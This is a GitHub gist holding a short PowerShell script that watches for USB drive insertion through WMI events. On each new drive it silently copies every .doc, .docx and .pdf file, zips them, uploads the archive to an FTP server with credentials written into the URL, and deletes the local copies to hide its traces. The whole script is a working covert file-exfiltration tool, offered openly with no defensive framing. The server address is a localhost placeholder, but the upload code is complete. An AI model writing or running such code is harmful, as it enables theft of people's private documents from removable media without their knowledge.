Skip to content

Instantly share code, notes, and snippets.

@aimproxy
Last active March 30, 2019 16:40
Show Gist options
  • Select an option

  • Save aimproxy/aa394284d088e6d7a13ec3c891e40956 to your computer and use it in GitHub Desktop.

Select an option

Save aimproxy/aa394284d088e6d7a13ec3c891e40956 to your computer and use it in GitHub Desktop.
WMI USB Detection Event then copy all files to an FTP Server!
Register-WmiEvent -Class win32_VolumeChangeEvent -SourceIdentifier volumeChange
do{
$newEvent = Wait-Event -SourceIdentifier volumeChange
$eventType = $newEvent.SourceEventArgs.NewEvent.EventType
$eventTypeName = switch($eventType)
{
1 {"Configuration changed"}
2 {"Device arrival"}
3 {"Device removal"}
4 {"docking"}
}
if ($eventType -eq 2)
{
$driveLetter = $newEvent.SourceEventArgs.NewEvent.DriveName
$driveLabel = ([wmi]"Win32_LogicalDisk='$driveLetter'").VolumeName
if ($driveLetter)
{
$parent = [System.IO.Path]::GetTempPath()
$name = [System.IO.Path]::GetRandomFileName()
New-Item -Path $parent -Name $name -ItemType "directory"
$out = $parent + $name
Get-ChildItem -Path $driveLetter -Include *.doc,*.docx,*.pdf -Recurse | Copy-Item -Destination $out
$toZip = $parent + $name + "-goback.zip"
Add-Type -assembly "system.io.compression.filesystem"
[io.compression.zipfile]::CreateFromDirectory($out, $toZip)
$ftp = "ftp://me:123@127.0.0.1/destziparrival"
$webclient = New-Object -TypeName System.Net.WebClient
$webclient.UploadFile("$ftp/$name.zip", $toZip )
$webclient.Dispose()
Remove-Item $out -Recurse -Confirm:$false -Force
Remove-Item $toZip -Recurse -Confirm:$false -Force
}
}
Remove-Event -SourceIdentifier volumeChange
} while (1-eq1)
Unregister-Event -SourceIdentifier volumeChange
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment